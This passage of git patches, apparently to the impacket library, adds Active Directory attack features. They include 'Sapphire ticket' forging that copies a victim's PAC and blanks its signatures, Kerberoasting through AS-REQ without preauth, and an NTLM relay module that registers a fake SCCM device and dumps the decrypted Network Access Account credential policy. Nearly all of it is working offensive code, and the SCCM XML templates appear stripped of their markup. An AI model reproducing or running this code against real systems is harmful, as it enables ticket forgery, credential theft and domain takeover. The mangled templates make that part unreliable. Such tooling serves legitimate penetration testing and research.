b/examples/ticketer.py @@ -311,7 +311,7 @@ def createBasicTicket(self): return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue - kdcRep['cname']['name-string'][0] = self.__target + kdcRep['cname']['name-string'][0] = self.__options.impersonate or self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') @@ -523,22 +523,67 @@ def customizeTicket(self, kdcRep, pacInfos): if self.__options.impersonate: # 1. S4U2Self + U2U - logging.info('\tRequesting S4U2self+U2U') + logging.info('\tRequesting S4U2self+U2U to obtain %s\'s PAC' % self.__options.impersonate) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosS4U2SelfU2U() # 2. extract PAC - logging.info('\tExtracting PAC for %s' % self.__options.impersonate) + logging.info('\tDecrypting ticket & extracting PAC') decodedTicket = decoder.decode(tgs, asn1Spec=TGS_REP())[0] cipherText = decodedTicket['ticket']['enc-part']['cipher'] newCipher = _enctype_table[int(decodedTicket['ticket']['enc-part']['etype'])] plainText = newCipher.decrypt(self.__tgt_session_key, 2, cipherText) - logging.debug('Ticket successfully decrypted') encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + # Let's extend the ticket's validity a lil bit encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) - pacInfos = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] - # todo : handle the PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, and possibly PAC_CLIENT_INFO_TYPE + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + + # Opening PAC + pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + pacInfos = dict() + buff = pacType['Buffers'] + + # clearing the signatures so that we can sign&encrypt later on + logging.info("\tClearing signatures") + for bufferN in range(pacType['cBuffers']): + infoBuffer = pac.PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] + buff = buff[len(infoBuffer):] + if infoBuffer['ulType'] in [PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM]: + checksum = PAC_SIGNATURE_DATA(data) + if checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + checksum['Signature'] = '\x00' * 12 + elif checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + checksum['Signature'] = '\x00' * 12 + else: + checksum['Signature'] = '\x00' * 16 + pacInfos[infoBuffer['ulType']] = checksum.getData() + else: + pacInfos[infoBuffer['ulType']] = data + + # changing ticket flags to match TGT / ST + logging.info("\tAdding necessary ticket flags") + originalFlags = [i for i, x in enumerate(list(encTicketPart['flags'].asBinary())) if x == '1'] + flags = originalFlags + newFlags = [TicketFlags.forwardable.value, TicketFlags.proxiable.value, TicketFlags.renewable.value, TicketFlags.pre_authent.value] + if self.__domain == self.__server: + newFlags.append(TicketFlags.initial.value) + for newFlag in newFlags: + if newFlag not in originalFlags: + flags.append(newFlag) + encTicketPart['flags'] = encodeFlags(flags) + + # changing key type to match what the TGT we obtained + logging.info("\tChanging keytype") + encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] + if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) + else: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) + else: encTicketPart = EncTicketPart() From 06ea5fde50995071a23c0c4aaf21b40720a25d1b Mon Sep 17 00:00:00 2001 From: Dramelac Date: Tue, 20 Sep 2022 10:48:07 +0200 Subject: [PATCH 146/163] Fix parameter merge --- examples/ticketer.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index 780d93b48..bfb736117 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -883,8 +883,8 @@ def run(self): 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS, ATTRIBUTES and REQUESTOR)') - parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' - '(default = 365*10)') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') From 79862634beb8ba906c256feb00cf223bac960999 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 25 Sep 2022 23:05:49 +0200 Subject: [PATCH 147/163] Commenting out duration customization for sapphire --- examples/ticketer.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index 4171bb413..cf740c80d 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -521,6 +521,8 @@ def customizeTicket(self, kdcRep, pacInfos): ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) if self.__options.impersonate: + # Doing Sapphire Ticket + # todo : in its actual form, ticketer is limited to the PAC structures that are supported in impacket. Unsupported structures will be ignored. The PAC is not completely copy-pasted here. # 1. S4U2Self + U2U logging.info('\tRequesting S4U2self+U2U to obtain %s\'s PAC' % self.__options.impersonate) @@ -535,11 +537,12 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] # Let's extend the ticket's validity a lil bit - encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) - encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) - adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + # I don't think this part should be left in the code. The whole point of doing a sapphire ticket is stealth, extending ticket duration is not the way to go + # encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + # encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) # Opening PAC + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) pacInfos = dict() buff = pacType['Buffers'] @@ -973,7 +976,7 @@ def run(self): group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') - parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self+U2U)' + parser.add_argument('-impersonate', action="store", help='Sapphire ticket. target username that will be impersonated (through S4U2Self+U2U)' ' for querying the ST and extracting the PAC, which will be' ' included in the new ticket') From 94cfcd737bf26919059bee07522cfe1f7713ac28 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 28 Sep 2022 13:26:25 +0200 Subject: [PATCH 148/163] Support for ASREPKerberoast --- examples/GetUserSPNs.py | 81 +++++++++++++++++++++++++------------ examples/getTGT.py | 13 ++++-- impacket/krb5/kerberosv5.py | 12 ++++-- 3 files changed, 74 insertions(+), 32 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 1713805e0..e9dfca2b1 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -45,7 +45,7 @@ from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants -from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.asn1 import TGS_REP, AS_REP from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5.types import Principal @@ -80,6 +80,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__targetDomain = target_domain self.__lmhash = '' self.__nthash = '' + self.__preauth = cmdLineOptions.preauth self.__outputFileName = cmdLineOptions.outputfile self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey @@ -174,9 +175,7 @@ def getTGT(self): return TGT - def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - + def outputTGS(self, decodedTGS, oldSessionKey, sessionKey, username, spn, fd=None): # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { @@ -417,31 +416,59 @@ def request_users_file_TGSs(self): self.request_multiple_TGSs(usernames) def request_multiple_TGSs(self, usernames): - # Get a TGT for the current user - TGT = self.getTGT() - - if self.__outputFileName is not None: - fd = open(self.__outputFileName, 'w+') + if self.__preauth: + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + + for username in usernames: + try: + preauth_pincipal = Principal(self.__preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=preauth_pincipal, + password=self.__password, + domain=self.__domain, + lmhash=(self.__lmhash), + nthash=(self.__nthash), + aesKey=self.__aesKey, + kdcHost=self.__kdcHost, + service=username) + asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] + + self.outputTGS(asRep, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() else: - fd = None + # Get a TGT for the current user + TGT = self.getTGT() - for username in usernames: - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value - principalName.components = [username] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, - self.__kdcHost, - TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) - self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) - except Exception as e: - logging.debug("Exception:", exc_info=True) - logging.error('Principal: %s - %s' % (username, str(e))) + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + + for username in usernames: + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value + principalName.components = [username] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + self.outputTGS(decodedTGS, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) - if fd is not None: - fd.close() + if fd is not None: + fd.close() # Process command-line arguments. @@ -455,6 +482,8 @@ def request_multiple_TGSs(self, usernames): parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for Kerberoasting across trusts.') + parser.add_argument('-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket' + ' through the AS') parser.add_argument('-usersfile', help='File with user per line to test') parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them ' 'in JtR/hashcat format (default False)') diff --git a/examples/getTGT.py b/examples/getTGT.py index d20df28c7..2ef9d1ae0 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options): self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__service = options.service if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey): def run(self): userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, - self.__kdcHost) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName, + password = self.__password, + domain = self.__domain, + lmhash = unhexlify(self.__lmhash), + nthash = unhexlify(self.__nthash), + aesKey = self.__aesKey, + kdcHost = self.__kdcHost, + service = self.__service) self.saveTicket(tgt,oldSessionKey) if __name__ == '__main__': @@ -80,6 +86,7 @@ def run(self): '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ') if len(sys.argv)==1: parser.print_help() diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 7c66a93d8..d9a8dd115 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -92,7 +92,7 @@ def sendReceive(data, host, kdcHost): return r -def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): +def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, service=''): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): @@ -114,7 +114,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH asReq = AS_REQ() domain = domain.upper() - serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if service == '': + serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + else: + serverName = Principal(service, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC @@ -339,7 +342,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) - raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) + # Commenting error below in order to return tgt, so that Kerberoast through AS-REQ can be conducted + # raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) + LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)) + return tgt, None, key, None raise encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] From af7967cc6887fa318e69da7d4d166eca1218d19a Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 28 Sep 2022 13:30:48 +0200 Subject: [PATCH 149/163] Fixing undefined name 'tgs' --- examples/GetUserSPNs.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index e9dfca2b1..353545e3f 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -175,7 +175,11 @@ def getTGT(self): return TGT - def outputTGS(self, decodedTGS, oldSessionKey, sessionKey, username, spn, fd=None): + def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None): + if self.__preauth: + decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0] + else: + decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { @@ -240,7 +244,7 @@ def outputTGS(self, decodedTGS, oldSessionKey, sessionKey, username, spn, fd=Non logging.debug('About to save TGS for %s' % username) ccache = CCache() try: - ccache.fromTGS(tgs, oldSessionKey, sessionKey) + ccache.fromTGS(ticket, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e)) @@ -433,9 +437,7 @@ def request_multiple_TGSs(self, usernames): aesKey=self.__aesKey, kdcHost=self.__kdcHost, service=username) - asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] - - self.outputTGS(asRep, oldSessionKey, sessionKey, username, username, fd) + self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (username, str(e))) @@ -461,8 +463,7 @@ def request_multiple_TGSs(self, usernames): self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - self.outputTGS(decodedTGS, oldSessionKey, sessionKey, username, username, fd) + self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (username, str(e))) From e915faa15c13a1f68bd6e067f8f9a8de21cef7d7 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 28 Sep 2022 14:02:16 +0200 Subject: [PATCH 150/163] Typo on the argument, -preauth changed to -no-preauth --- examples/GetUserSPNs.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 353545e3f..88d5c5051 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -80,7 +80,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__targetDomain = target_domain self.__lmhash = '' self.__nthash = '' - self.__preauth = cmdLineOptions.preauth + self.__no_preauth = cmdLineOptions.no_preauth self.__outputFileName = cmdLineOptions.outputfile self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey @@ -176,7 +176,7 @@ def getTGT(self): return TGT def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None): - if self.__preauth: + if self.__no_preauth: decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0] else: decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0] @@ -420,7 +420,7 @@ def request_users_file_TGSs(self): self.request_multiple_TGSs(usernames) def request_multiple_TGSs(self, usernames): - if self.__preauth: + if self.__no_preauth: if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: @@ -428,8 +428,8 @@ def request_multiple_TGSs(self, usernames): for username in usernames: try: - preauth_pincipal = Principal(self.__preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=preauth_pincipal, + no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal, password=self.__password, domain=self.__domain, lmhash=(self.__lmhash), @@ -483,7 +483,7 @@ def request_multiple_TGSs(self, usernames): parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for Kerberoasting across trusts.') - parser.add_argument('-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket' + parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket' ' through the AS') parser.add_argument('-usersfile', help='File with user per line to test') parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them ' From ad99a360b46d0fb5d6bfcd9843cc9a9691eeb4bc Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Mon, 10 Oct 2022 11:22:06 +0200 Subject: [PATCH 151/163] Fixing args handling, -usersfile is needed if -no-preauth --- examples/GetUserSPNs.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 88d5c5051..6ab306510 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -527,6 +527,11 @@ def request_multiple_TGSs(self, usernames): # Init the example's logger theme logger.init(options.ts) + if options.no_preauth and options.usersfile is None: + logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain' + ' a list of SPNs and/or sAMAccountNames to Kerberoast.') + sys.exit(1) + if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path From ea8f2efed80ac6bec6f32cd979767d9bd3e2915d Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Mon, 10 Oct 2022 11:22:19 +0200 Subject: [PATCH 152/163] Handling case when service is None --- impacket/krb5/kerberosv5.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index d9a8dd115..ef5e7a7c1 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -114,7 +114,7 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH asReq = AS_REQ() domain = domain.upper() - if service == '': + if service == '' or service is None: serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) else: serverName = Principal(service, type=constants.PrincipalNameType.NT_PRINCIPAL.value) From 2d1c46fb078a04d98a3bcce3f886912706cc63ea Mon Sep 17 00:00:00 2001 From: Tw1sm Date: Wed, 12 Oct 2022 11:56:03 -0400 Subject: [PATCH 153/163] NTLM relay to sccm based on sccmwtf --- examples/ntlmrelayx.py | 11 + .../examples/ntlmrelayx/attacks/httpattack.py | 5 +- .../attacks/httpattacks/sccmattack.py | 304 ++++++++++++++++++ .../ntlmrelayx/clients/httprelayclient.py | 5 +- impacket/examples/ntlmrelayx/utils/config.py | 16 + requirements.txt | 2 + setup.py | 3 +- 7 files changed, 343 insertions(+), 3 deletions(-) create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 81f2360ab..f1d36c0cd 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -173,6 +173,9 @@ def start_servers(options, threads): options.cert_outfile_path) c.setAltName(options.altname) + c.setIsSCCMAttack(options.sccm) + c.setSCCMOptions(options.sccm_device, options.sccm_fqdn, + options.sccm_server, options.sccm_sleep) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: @@ -357,6 +360,14 @@ def stop_servers(threads): help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + # SCCM options + sccmoptions = parser.add_argument_group("SCCM attack options") + sccmoptions.add_argument('--sccm', action='store_true', required=False, help='Enable SCCM relay attack') + sccmoptions.add_argument('--sccm-device', action='store', metavar="DEVICE", required=False, help='Name of fake device to register') + sccmoptions.add_argument('--sccm-fqdn', action='store', metavar="FQDN", required=False, help='Fully qualified domain name of the target domain') + sccmoptions.add_argument('--sccm-server', action='store', metavar="HOSTNAME", required=False, help='Hostname of the target SCCM server') + sccmoptions.add_argument('--sccm-sleep', action='store', metavar="SECONDS", type=int, default=5, required=False, help='Sleep time before requesting policy') + try: options = parser.parse_args() except Exception as e: diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 725bdb9f7..094f802ca 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -17,11 +17,12 @@ from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmattack import SCCMAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -34,6 +35,8 @@ def run(self): if self.config.isADCSAttack: ADCSAttack._run(self) + elif self.config.isSCCMAttack: + SCCMAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py new file mode 100644 index 000000000..012626ae2 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py @@ -0,0 +1,304 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack +# Credits go to @_xpn_, attack code is pulled from his SCCMWTF repository (https://github.com/xpn/sccmwtf) +# +# Authors: +# Tw1sm (@Tw1sm) + + +import datetime +import zlib +import requests +import re +import time +from pyasn1.codec.der.decoder import decode +from pyasn1_modules import rfc5652 +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.serialization import PublicFormat +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.hazmat.primitives import hashes +from cryptography.x509 import ObjectIdentifier +from requests_toolbelt.multipart import decoder +from impacket import LOG + + +class SCCMAttack: + dateFormat = "%Y-%m-%dT%H:%M:%SZ" + + now = datetime.datetime.utcnow() + + # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy! + registrationRequestWrapper = "{data}{signature}\x00" + registrationRequest = """{encryption}{signature}""" + msgHeader = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" + msgHeaderPolicy = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" + policyBody = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" + # reportBody = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" + + + def _run(self): + LOG.info("Creating certificate for our fake server...") + self.createCertificate(True) + + LOG.info("Registering our fake server...") + uuid = self.sendRegistration(self.config.sccm_device, self.config.sccm_fqdn) + + LOG.info(f"Done.. our ID is {uuid}") + + # If too quick, SCCM requests fail (DB error, jank!) + LOG.info(f"Sleeping {self.config.sccm_sleep} seconds to allow SCCM server time to process...") + time.sleep(self.config.sccm_sleep) + + target_fqdn = f"{self.config.sccm_device}.{self.config.sccm_fqdn}" + LOG.info("Requesting NAAPolicy...") + urls = self.sendPolicyRequest(self.config.sccm_device, target_fqdn, uuid, self.config.sccm_device, target_fqdn, uuid) + + LOG.info("Parsing policy...") + + for url in urls: + result = self.requestPolicy(url) + if result.startswith(""): + result = self.requestPolicy(url, uuid, True, True) + decryptedResult = self.parseEncryptedPolicy(result) + Tools.write_to_file(decryptedResult, "naapolicy.xml") + + LOG.info("Decrypted policy dumped to naapolicy.xml") + + + def sendCCMPostRequest(self, data, auth=False): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + if auth: + self.client.request("CCM_POST", "/ccm_system_windowsauth/request", headers=headers, body=data) + r = self.client.getresponse() + content = r.read() + else: + tried = 0 + while True: + if tried < 10: + self.client.request("CCM_POST", "/ccm_system/request", headers=headers, body=data) + r = self.client.getresponse() + content = r.read() + tried += 1 + if content == b'': + LOG.info("Policy request appears to have failed, resending in 5 seconds") + time.sleep(5) + else: + break + else: + LOG.info("Policy request failed 10 times, exiting") + exit() + + multipart_data = decoder.MultipartDecoder(content, r.getheader("Content-Type")) + for part in multipart_data.parts: + if part.headers[b'content-type'] == b'application/octet-stream': + return zlib.decompress(part.content).decode('utf-16') + + + def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender" + } + + if authHeaders == True: + headers["ClientToken"] = "GUID:{};{};2".format( + clientID, + SCCMAttack.now.strftime(SCCMAttack.dateFormat) + ) + headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, SCCMAttack.now.strftime(SCCMAttack.dateFormat)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() + + self.client.request("GET", url, headers=headers) + r = self.client.getresponse() + content = r.read() + if retcontent == True: + return content + else: + return content.decode() + + + def createCertificate(self, writeToTmp=False): + self.key = CryptoTools.generateRSAKey() + self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client") + + if writeToTmp: + with open("/tmp/key.pem", "wb") as f: + f.write(self.key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"), + )) + + with open("/tmp/certificate.pem", "wb") as f: + f.write(self.cert.public_bytes(serialization.Encoding.PEM)) + + + def sendRegistration(self, name, fqname): + b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper() + + embedded = SCCMAttack.registrationRequest.format( + date=SCCMAttack.now.strftime(SCCMAttack.dateFormat), + encryption=b, + signature=b, + client=name, + clientfqdn=fqname + ) + + signature = CryptoTools.sign(self.key, 